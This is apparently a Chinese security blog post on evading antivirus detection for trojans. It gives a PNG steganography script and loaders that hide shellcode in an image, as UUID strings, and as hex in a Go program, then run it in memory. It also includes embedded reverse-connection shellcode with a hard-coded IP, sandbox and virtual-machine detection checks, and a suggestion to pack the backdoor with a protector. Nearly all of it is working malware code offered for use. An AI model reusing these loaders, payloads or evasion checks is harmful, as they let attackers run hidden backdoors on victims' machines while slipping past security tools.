参考链接:https://mp.weixin.qq.com/s/c8U2M_iJ8pWaI50sH8u9Hw

隐写就是用PNG格式图片每个像素的四个颜色分量「rgba」的最低有效位来隐藏信息,把文本信息转为比特信息再填入色彩数值的最后一个比特位,所以我们可以通过将shellcode隐写到图片里然后解密进行上线

使用脚本进行隐写操作

 """Encode png image via command-line.  Usage:     imageEncoding (-e|encode) <originImage> [<text>] [<encodedImage>]     imageEncoding (-d|decode) <encodedImage>  Options:     -h,--help   显示帮助菜单     -e          加密     -d          解密  Example:     imageEncoding -e coffee.png hello textOrFileToEncode encodedImage.png     imageEncoding -d encodedImage.png """  from PIL import Image from docopt import docopt   """ 取得一个 PIL 图像并且更改所有值为偶数(使最低有效位为 0) """ def RGBAmakeImageEven(image):     pixels = list(image.getdata())  # 得到一个这样的列表: [(r,g,b,t),(r,g,b,t)...]     evenPixels = [(r>>1<<1,g>>1<<1,b>>1<<1,t>>1<<1) for [r,g,b,t] in pixels]  # 更改所有值为偶数(魔法般的移位)     evenImage = Image.new(image.mode, image.size)  # 创建一个相同大小的图片副本     evenImage.putdata(evenPixels)  # 把上面的像素放入到图片副本     return evenImage  def RGBmakeImageEven(image):     pixels = list(image.getdata())  # 得到一个这样的列表: [(r,g,b,t),(r,g,b,t)...]     evenPixels = [(r>>1<<1,g>>1<<1,b>>1<<1) for [r,g,b] in pixels]  # 更改所有值为偶数(魔法般的移位)     evenImage = Image.new(image.mode, image.size)  # 创建一个相同大小的图片副本     evenImage.putdata(evenPixels)  # 把上面的像素放入到图片副本     return evenImage  """ 内置函数 bin() 的替代,返回固定长度的二进制字符串 """ def constLenBin(int):     binary = "0"*(8-(len(bin(int))-2))+bin(int).replace('0b','')  # 去掉 bin() 返回的二进制字符串中的 '0b',并在左边补足 '0' 直到字符串长度为 8     return binary  """ 将字符串编码到图片中 """ def RGBAencodeDataInImage(image, data):     evenImage = RGBAmakeImageEven(image)  # 获得最低有效位为 0 的图片副本     binary = ''.join(map(constLenBin,bytearray(data, 'utf-8'))) # 将需要被隐藏的字符串转换成二进制字符串     if len(binary) > len(image.getdata()) * 4:  # 如果不可能编码全部数据, 抛出异常         raise Exception("Error: Can't encode more than " + len(evenImage.getdata()) * 4 + " bits in this image. ")     encodedPixels = [(r+int(binary[index*4+0]),g+int(binary[index*4+1]),b+int(binary[index*4+2]),t+int(binary[index*4+3])) if index*4 < len(binary) else (r,g,b,t) for index,(r,g,b,t) in enumerate(list(evenImage.getdata()))] # 将 binary 中的二进制字符串信息编码进像素里     encodedImage = Image.new(evenImage.mode, evenImage.size)  # 创建新图片以存放编码后的像素     encodedImage.putdata(encodedPixels)  # 添加编码后的数据     return encodedImage  def RGBencodeDataInImage(image, data):     evenImage = RGBmakeImageEven(image)  # 获得最低有效位为 0 的图片副本     binary = ''.join(map(constLenBin,bytearray(data, 'utf-8'))) # 将需要被隐藏的字符串转换成二进制字符串     if len(binary)%3 != 0:  # 将转换的比特流数据末位补零,使其长度为3的倍数,防止其在下面重新编码的过程中发生越界         rema = len(binary)%3         binary = binary+('0'*(3-rema)) #        print(len(binary))     if len(binary) > len(image.getdata()) * 3:  # 如果不可能编码全部数据, 抛出异常         raise Exception("Error: Can't encode more than " + len(evenImage.getdata()) * 3 + " bits in this image. ")     # evenImageList = list(evenImage.getdata())      # for index in range(len(evenImageList)):     #     if index*3 < len(binary):     #         tup = evenImageList[index]     #         r = tup[0]     #         g = tup[1]     #         b = tup[2]     #         r += int(binary[index*3+0])     #         evenImageList[index] = (r,g,b)     #     else:     #         break     #     if index*3+1 < len(binary):     #         tup = evenImageList[index]     #         r = tup[0]     #         g = tup[1]     #         b = tup[2]     #         g += int(binary[index*3+1])     #         evenImageList[index] = (r,g,b)     #     else:     #         break     #     if index*3+2 < len(binary):     #         tup = evenImageList[index]     #         r = tup[0]     #         g = tup[1]     #         b = tup[2]     #         b += int(binary[index*3+2])     #         evenImageList[index] = (r,g,b)     #     else:     #         break     #     index += 1     # encodedPixels = evenImageList     encodedPixels = [(r+int(binary[index*3+0]),g+int(binary[index*3+1]),b+int(binary[index*3+2])) if index*3 < len(binary) else (r,g,b) for index, (r,g,b) in enumerate(list(evenImage.getdata()))] # 将 binary 中的二进制字符串信息编码进像素里     encodedImage = Image.new(evenImage.mode, evenImage.size)  # 创建新图片以存放编码后的像素     encodedImage.putdata(encodedPixels)  # 添加编码后的数据     return encodedImage  """ 从二进制字符串转为 UTF-8 字符串 """ def binaryToString(binary):     index = 0     string = []     rec = lambda x, i: x[2:8] + (rec(x[8:], i-1) if i > 1 else '') if x else ''     # rec = lambda x, i: x and (x[2:8] + (i > 1 and rec(x[8:], i-1) or '')) or ''     fun = lambda x, i: x[i+1:8] + rec(x[8:], i-1)     while index + 1 < len(binary):         chartype = binary[index:].index('0') # 存放字符所占字节数,一个字节的字符会存为 0         length = chartype*8 if chartype else 8         string.append(chr(int(fun(binary[index:index+length],chartype),2)))         index += length     return ''.join(string)  """ 解码隐藏数据 """ def RGBAdecodeImage(image):     pixels = list(image.getdata())  # 获得像素列表     binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b))+str(int(t>>1<<1!=t)) for (r,g,b,t) in pixels]) # 提取图片中所有最低有效位中的数据     # 找到数据截止处的索引     locationDoubleNull = binary.find('0000000000000000')     endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull     data = binaryToString(binary[0:endIndex])     return data  def RGBdecodeImage(image):     pixels = list(image.getdata())  # 获得像素列表     binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b)) for (r,g,b) in pixels]) # 提取图片中所有最低有效位中的数据     # 找到数据截止处的索引     locationDoubleNull = binary.find('0000000000000000')     endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull     data = binaryToString(binary[0:endIndex])     return data  def isTextFile(path):     if path.endswith(".txt"):         return True     elif path.endswith(".m"):         return True     elif path.endswith(".h"):         return True     elif path.endswith(".c"):         return True     elif path.endswith(".py"):         return True     else:         return False  if __name__ == '__main__':     """command-line interface"""     arguments = docopt(__doc__) #    print(arguments)      if arguments['-e'] or arguments['encode']:         if arguments['<text>'] is None:             arguments['<text>'] = "待加密的文本"         if arguments['<encodedImage>'] is None:             arguments['<encodedImage>'] = "encodedImage.png"          if isTextFile(arguments['<text>']):             with open(arguments['<text>'], 'rt') as f:                 arguments['<text>'] = f.read()          print("载体图片:")         print(arguments['<originImage>']+"n")         print("待加密密文:")         print(arguments['<text>']+"n")         print("加密后图片:")         print(arguments['<encodedImage>']+"n")         print("加密中……n")         im = Image.open(arguments['<originImage>'])         if im.mode == 'RGBA':             RGBAencodeDataInImage(im, arguments['<text>']).save(arguments['<encodedImage>'])         # elif im.mode == 'RGB':         #     RGBencodeDataInImage(im, arguments['<text>']).save(arguments['<encodedImage>'])         else:             print("暂不支持此图片格式……")          print("加密完成,密文为:n"+arguments['<text>']+"n")     elif arguments['-d'] or arguments['decode']:         print("解密中……n")         im = Image.open(arguments['<encodedImage>'])         if im.mode == 'RGBA':             print("解秘完成,密文为:n"+RGBAdecodeImage(im)+"n")         # elif im.mode == 'RGB':         #     print("解秘完成,密文为:n"+RGBdecodeImage(im)+"n")         else:             print("非法的图片格式……") 

找一张png的图片

python3 image-1.py -e upload.png abcd encodedImage.png 

将abcd字符写入upload.png中然后生成encodedImage.png

木马免杀

使用

python3 iage-1.py -d encodedImage.png 

进行解密

木马免杀

将加密脚本进行修改

encodedImage.png#!/usr/bin/env python3 #coding=utf-8  """Encode png image via command-line.  Usage:     imageEncoding (-e|encode) <originImage> [<text>] [<encodedImage>]     imageEncoding (-d|decode) <encodedImage>  Options:     -h,--help   显示帮助菜单     -e          加密     -d          解密  Example:     imageEncoding -e coffee.png hello textOrFileToEncode encodedImage.png     imageEncoding -d encodedImage.png """  from PIL import Image from docopt import docopt import base64,ctypes    """ 内置函数 bin() 的替代,返回固定长度的二进制字符串 """ def constLenBin(int):     binary = "0"*(8-(len(bin(int))-2))+bin(int).replace('0b','')  # 去掉 bin() 返回的二进制字符串中的 '0b',并在左边补足 '0' 直到字符串长度为 8     return binary  """ 将字符串编码到图片中 """   """ 从二进制字符串转为 UTF-8 字符串 """ def binaryToString(binary):     index = 0     string = []     rec = lambda x, i: x[2:8] + (rec(x[8:], i-1) if i > 1 else '') if x else ''     # rec = lambda x, i: x and (x[2:8] + (i > 1 and rec(x[8:], i-1) or '')) or ''     fun = lambda x, i: x[i+1:8] + rec(x[8:], i-1)     while index + 1 < len(binary):         chartype = binary[index:].index('0') # 存放字符所占字节数,一个字节的字符会存为 0         length = chartype*8 if chartype else 8         string.append(chr(int(fun(binary[index:index+length],chartype),2)))         index += length     return ''.join(string)  """ 解码隐藏数据 """ def RGBAdecodeImage(image):     pixels = list(image.getdata())  # 获得像素列表     binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b))+str(int(t>>1<<1!=t)) for (r,g,b,t) in pixels]) # 提取图片中所有最低有效位中的数据     # 找到数据截止处的索引     locationDoubleNull = binary.find('0000000000000000')     endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull     data = binaryToString(binary[0:endIndex])     return data  def RGBdecodeImage(image):     pixels = list(image.getdata())  # 获得像素列表     binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b)) for (r,g,b) in pixels]) # 提取图片中所有最低有效位中的数据     # 找到数据截止处的索引     locationDoubleNull = binary.find('0000000000000000')     endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull     data = binaryToString(binary[0:endIndex])     return data  def isTextFile(path):     if path.endswith(".txt"):         return True     elif path.endswith(".m"):         return True     elif path.endswith(".h"):         return True     elif path.endswith(".c"):         return True     elif path.endswith(".py"):         return True     else:         return False  if __name__ == '__main__':     """command-line interface"""     #arguments = docopt(__doc__)     im = Image.open('encodedImage.png')     print("解秘完成,密文为:n"+RGBAdecodeImage(im)+"n")     func=base64.b64decode(RGBAdecodeImage(im))     rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(func), 0x1000, 0x40)     ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(func), len(func))     handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)     ctypes.windll.kernel32.WaitForSingleObject(handle, -1)  

可以看到最后几行将encodedImage.png解密出来base64解密然后带入shellcode加载器中执行

我们将shellcode进行一个base64加密

木马免杀

最后可以将shellcodebase64加密后的代码隐写到图片里,然后用第二个脚本进行上线,由于我的环境问题,后面没有复现成功

内存加载UUID

UUID:

通用唯一标识符 ( Universally Unique Identifier ), 对于所有的UUID它可以保证在空间和时间上的唯一性. 它是通过MAC地址, 时间戳, 命名空间, 随机数, 伪随机数来保证生成ID的唯一性, 有着固定的大小( 128 bit ). 它的唯一性和一致性特点使得可以无需注册过程就能够产生一个新的UUID. UUID可以被用作多种用途, 既可以用来短时间内标记一个对象, 也可以可靠的辨别网络中的持久性对象,所以我们将shellcode转换为uuid用win自身的一些api来加载

用c++加载shellcode进行上线

首先利用py脚本将shellcode生成为uuid

import uuid import binascii  buf =  b"xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68x91x1fx00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx45x75x34x6ex00xb1x21x2axd5x17x08xcdx71x16x56x30x9fxdex6fxb8x58xe8x89xb2x45xdcxf2x4exd0x6cxfcxa9xb4x56x20x6dx31x67xbdxbex26x65x84x5fxb4xd3x2fx65x90xddx89x85x36xf3x26xc1xdfx8dx0bx4ex3ax9cx24xe0xefx57x7cx26x59xd0x45x6fx98xabxdax79x1ex58x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x42x4fx49x45x39x3bx45x4ex49x4ex29x0dx0ax00x5dxe7x84x44x01x7cx29xa5xc7xccx7fx1bx2ax1bxbdxc0xe1x51xeax2excdx33x76x2ex32x03xfbx6ex50xa8x8axc4x88xd4xd7x55x64xb2x91x78x77x64x9axdexd8x0exdbx32xd1xe2x4bxc8x15x0bx4cx33xefx68x65x84xa3x16x06x73x9dxbdxf5xafx98x66xf3x62x26x50xcdx99x56xd6xe6xb8xb5x03x85x8bx1exe2x08xdfx35x2cxb5xcexa3x77xcax64x3bx7axe4x5axc2x2cx5dx29x92x06x13xedxd4x19x55x6ex49x15x35x71xf9x3dx58x97xb8x0dx8dx0fxb1x8ex9exf9xe8x55x19x15x69x49xf8xabx43x1cx2dx18x3bx45xcbxbexecxc6xd4xe9x67x77x2ax29xc7xc4x47x1cx2ax48x2exb9x90xf5x8fx94x7fxc1x4ax76x2bx6cx69x02x69x88xe6x80x2ex59x8excfx4exc4x1fxd2xfdxedx3fx57xa0x03x52x7exa3x58x61x0fx63xa2xecxfbxf7x8dx70x70xf4xbfx8ex19x10x1bxa7xd1xc9x00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x39x32x2ex31x36x38x2ex33x2ex31x33x31x00x12x34x56x78"   hex = binascii.hexlify(buf).decode() hex += '0' * (32 - (len(hex) % 32)) for i in range(0,len(hex),32):     print(""{}",".format(uuid.UUID(bytes_le=binascii.unhexlify(hex[i:i+32])))) 

生成的uuid

木马免杀

再用c++脚本执行uuid

#include <Windows.h> #include <Rpc.h> #include <iostream>  #pragma comment(lib, "Rpcrt4.lib") #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")  const char* uuids[] = {  "0089e8fc-0000-8960-e531-d2648b52308b", "528b0c52-8b14-2872-0fb7-4a2631ff31c0", "7c613cac-2c02-c120-cf0d-01c7e2f05257", "8b10528b-3c42-d001-8b40-7885c0744a01", "488b50d0-8b18-2058-01d3-e33c498b348b", "ff31d601-c031-c1ac-cf0d-01c738e075f4", "3bf87d03-247d-e275-588b-582401d3668b", "588b4b0c-011c-8bd3-048b-01d089442424", "59615b5b-515a-e0ff-585f-5a8b12eb865d", "74656e68-6800-6977-6e69-54684c772607", "ff31d5ff-5757-5757-5768-3a5679a7ffd5", "000084e9-5b00-c931-5151-6a0351516891", "5300001f-6850-8957-9fc6-ffd5eb705b31", "006852d2-4002-5284-5252-53525068eb55", "d5ff3b2e-c689-c383-5031-ff57576aff53", "062d6856-7b18-d5ff-85c0-0f84c3010000", "f685ff31-0474-f989-eb09-68aac5e25dff", "68c189d5-2145-315e-ffd5-31ff576a0751", "b7685056-e057-ff0b-d5bf-002f000039c7", "ff31b774-91e9-0001-00e9-c9010000e88b", "2fffffff-7545-6e34-00b1-212ad51708cd", "30561671-de9f-b86f-58e8-89b245dcf24e", "a9fc6cd0-56b4-6d20-3167-bdbe2665845f", "652fd3b4-dd90-8589-36f3-26c1df8d0b4e", "e0249c3a-57ef-267c-59d0-456f98abda79", "5500581e-6573-2d72-4167-656e743a204d", "6c697a6f-616c-352f-2e30-2028636f6d70", "62697461-656c-203b-4d53-494520392e30", "6957203b-646e-776f-7320-4e5420362e31", "7254203b-6469-6e65-742f-352e303b2042", "3945494f-453b-494e-4e29-0d0a005de784", "297c0144-c7a5-7fcc-1b2a-1bbdc0e151ea", "7633cd2e-322e-fb03-6e50-a88ac488d4d7", "91b26455-7778-9a64-ded8-0edb32d1e24b", "4c0b15c8-ef33-6568-84a3-1606739dbdf5", "f36698af-2662-cd50-9956-d6e6b8b50385", "08e21e8b-35df-b52c-cea3-77ca643b7ae4", "5d2cc25a-9229-1306-edd4-19556e491535", "583df971-b897-8d0d-0fb1-8e9ef9e85519", "f8496915-43ab-2d1c-183b-45cbbeecc6d4", "2a7767e9-c729-47c4-1c2a-482eb990f58f", "4ac17f94-2b76-696c-0269-88e6802e598e", "1fc44ecf-fdd2-3fed-57a0-03527ea35861", "eca2630f-f7fb-708d-70f4-bf8e19101ba7", "6800c9d1-b5f0-56a2-ffd5-6a4068001000", "00006800-0040-6857-58a4-53e5ffd593b9", "00000000-d901-5351-89e7-576800200000", "12685653-8996-ffe2-d585-c074c68b0701", "75c085c3-58e5-e8c3-a9fd-ffff3139322e", "2e383631-2e33-3331-3100-123456780000",    };  int main() {     HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);     void* ha = HeapAlloc(hc, 0, 0x100000);     DWORD_PTR hptr = (DWORD_PTR)ha;     int elems = sizeof(uuids) / sizeof(uuids[0]);      for (int i = 0; i < elems; i++) {         RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);         if (status != RPC_S_OK) {             CloseHandle(ha);             return -1;         }         hptr += 16;     }     EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);     CloseHandle(ha);     return 0; } 

uuids[]里写入刚刚生成的uuid,然后运行调试。

成功上线

木马免杀

反VT-沙盒检测

相关链接:https://mp.weixin.qq.com/s/mC0XhNSwdhhISwcBFXe0uQ

近年来,各类恶意软件层出不穷,反病毒软件也更新了各种检测方案以提高检测率。
其中比较有效的方案是动态沙箱检测技术,即通过在沙箱中运行程序并观察程序行为来
判断程序是否为恶意程序。为了逃避沙箱/安全人员的检测,恶意软件使用了各类识别沙
箱/虚拟机的技术,用于判断自身程序是否运行在沙箱/虚拟机中。

硬件检测

通过检测真实硬件状态,例如硬盘大小,内存大小判断是否为虚拟机

木马免杀

木马免杀

木马免杀

检测开机时间

许多沙箱检测完毕后会重置系统,我们可以检测开机时间来判断是否为真实的运行状况。

木马免杀

命令检测

在虚拟机中执行

木马免杀

在真实机中执行

木马免杀

文件检测

查找是否存在虚拟机文件
木马免杀

这些文件在虚拟机中是存在的,而在真实机中没有

木马免杀

go语言完整检测代码

package main  import ( 	"encoding/hex" 	"golang.org/x/sys/windows" 	"os" 	"os/exec" 	"path/filepath" 	"runtime" 	"strings" 	"syscall" 	"time" 	"unsafe" )  // 检测语言,依赖windows数据包,编译后会增加0.6M大小 func check_language() { 	a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME) //获取当前系统首选语言 	if a[0] != "zh-CN" { 		os.Exit(1) 	} }  func check_sandbox() { 	// 1. 延时运行 	timeSleep1, _ := timeSleep() 	// 2. 检测开机时间 	bootTime1, _ := bootTime() 	// 3. 检测物理内存 	physicalMemory1, _ := physicalMemory() 	// 4. 检测CPU核心数 	numberOfCPU1, _ := numberOfCPU() 	// 5. 检测临时文件数 	numberOfTempFiles1, _ := numberOfTempFiles() 	level := timeSleep1 + bootTime1 + physicalMemory1 + numberOfCPU1 + numberOfTempFiles1 // 有五个等级,等级越趋向于5,越像真机 	//fmt.Println("level:", level) 	if level < 4 { 		os.Exit(1) 	} }  // 1. 延时运行 func timeSleep() (int, error) { 	startTime := time.Now() 	time.Sleep(5 * time.Second) 	endTime := time.Now() 	sleepTime := endTime.Sub(startTime) 	if sleepTime >= time.Duration(5*time.Second) { 		//fmt.Println("睡眠时间为:", sleepTime) 		return 1, nil 	} else { 		return 0, nil 	} }  // 2. 检测开机时间 // 许多沙箱检测完毕后会重置系统,我们可以检测开机时间来判断是否为真实的运行状况。 func bootTime() (int, error) { 	var kernel = syscall.NewLazyDLL("Kernel32.dll") 	GetTickCount := kernel.NewProc("GetTickCount") 	r, _, _ := GetTickCount.Call() 	if r == 0 { 		return 0, nil 	} 	ms := time.Duration(r * 1000 * 1000) 	tm := time.Duration(30 * time.Minute) 	//fmt.Println(ms,tm) 	if ms < tm { 		return 0, nil 	} else { 		return 1, nil 	}  }  // 3、物理内存大小 func physicalMemory() (int, error) { 	var mod = syscall.NewLazyDLL("kernel32.dll") 	var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory") 	var mem uint64 	proc.Call(uintptr(unsafe.Pointer(&mem))) 	mem = mem / 1048576 	//fmt.Printf("物理内存为%dGn", mem) 	if mem < 4 { 		return 0, nil // 小于4GB返回0 	} 	return 1, nil // 大于4GB返回1 }  func numberOfCPU() (int, error) { 	a := runtime.NumCPU() 	//fmt.Println("CPU核心数为:", a) 	if a < 4 { 		return 0, nil // 小于4核心数,返回0 	} else { 		return 1, nil // 大于4核心数,返回1 	} } func numberOfTempFiles() (int, error) { 	conn := os.Getenv("temp") // 通过环境变量读取temp文件夹路径 	var k int 	if conn == "" { 		//fmt.Println("未找到temp文件夹,或temp文件夹不存在") 		return 0, nil 	} else { 		local_dir := conn 		err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error { 			if fi.IsDir() { 				return nil 			} 			k++ 			// fmt.Println("filename:", filename)  // 输出文件名字 			return nil 		}) 		//fmt.Println("Temp总共文件数量:", k) 		if err != nil { 			// fmt.Println("路径获取错误") 			return 0, nil 		} 	} 	if k < 30 { 		return 0, nil 	} 	return 1, nil }  func check_virtual() (bool, error) { // 识别虚拟机 	model := "" 	var cmd *exec.Cmd 	cmd = exec.Command("cmd", "/C", "wmic path Win32_ComputerSystem get Model") 	stdout, err := cmd.Output() 	if err != nil { 		return false, err 	} 	model = strings.ToLower(string(stdout)) 	if strings.Contains(model, "VirtualBox") || strings.Contains(model, "virtual") || strings.Contains(model, "VMware") || 		strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") || strings.Contains(model, "HVM domU") || strings.Contains(model, "Parallels") { 		return true, nil //如果是虚拟机则返回true 	} 	return false, nil } func PathExists(path string) (bool, error) { 	_, err := os.Stat(path) 	if err == nil { 		return true, nil 	} 	if os.IsNotExist(err) { 		return false, nil 	} 	return false, err } func fack(path string) { 	b, _ := PathExists(path) 	if b { 		os.Exit(1) 	} } func check_file() { 	fack("C:\windows\System32\Drivers\Vmmouse.sys") 	fack("C:\windows\System32\Drivers\vmtray.dll") 	fack("C:\windows\System32\Drivers\VMToolsHook.dll") 	fack("C:\windows\System32\Drivers\vmmousever.dll") 	fack("C:\windows\System32\Drivers\vmhgfs.dll") 	fack("C:\windows\System32\Drivers\vmGuestLib.dll") 	fack("C:\windows\System32\Drivers\VBoxMouse.sys") 	fack("C:\windows\System32\Drivers\VBoxGuest.sys") 	fack("C:\windows\System32\Drivers\VBoxSF.sys") 	fack("C:\windows\System32\Drivers\VBoxVideo.sys") 	fack("C:\windows\System32\vboxdisp.dll") 	fack("C:\windows\System32\vboxhook.dll") 	fack("C:\windows\System32\vboxoglerrorspu.dll") 	fack("C:\windows\System32\vboxoglpassthroughspu.dll") 	fack("C:\windows\System32\vboxservice.exe") 	fack("C:\windows\System32\vboxtray.exe") 	fack("C:\windows\System32\VBoxControl.exe") }  var VirtualAlloc = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")  func aaa(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) bool { 	ret, _, _ := VirtualAlloc.Call( 		uintptr(a), 		uintptr(b), 		uintptr(c), 		uintptr(d)) 	return ret > 0 }  func Run(sc []byte) { 	fly := func() {} 	var xx uint32 	if !aaa(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&fly))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&xx)) { 	} 	**(**uintptr)(unsafe.Pointer(&fly)) = *(*uintptr)(unsafe.Pointer(&sc)) 	var yy uint32 	aaa(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&yy)) 	fly() }  func ScFromHex(scHex string) []byte { 	var charcode []byte 	charcode, _ = hex.DecodeString(string(scHex)) 	return charcode } func main() { 	check_language() 	check_file() 	check, _ := check_virtual() 	if check == true { 		os.Exit(1) 	} 	check_sandbox() 	sccode := ScFromHex("fc4883e4f0e8cc000000415141505251564831d265488b5260488b5218488b5220488b72504d31c9480fb74a4a4831c0ac3c617c022c2041c1c90d4101c1e2ed52488b522041518b423c4801d0668178180b020f85720000008b80880000004885c074674801d0448b40208b48184901d050e3564d31c948ffc9418b34884801d64831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94bffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc02001a202f5eec7541544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd56a0a415e50504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd585c0740a49ffce75e5e8930000004883ec104889e24d31c96a0441584889f941ba02d9c85fffd583f8007e554883c4205e89f66a404159680010000041584889f24831c941ba58a453e5ffd54889c34989c74d31c94989f04889da4889f941ba02d9c85fffd583f8007d2858415759680040000041586a005a41ba0b2f0f30ffd5575941ba756e4d61ffd549ffcee93cffffff4801c34829c64885f675b441ffe7586a005949c7c2f0b5a256ffd5") 	Run(sccode) }  

项目保护

我们可以将后门通过一些工具进行项目保护

比如使用Safengine

木马免杀

木马免杀

在虚拟机中无法执行,也不会被杀

木马免杀

文笔垃圾,措辞轻浮,内容浅显,操作生疏,还请各位大佬多多指导

发表评论

评论已关闭。

相关文章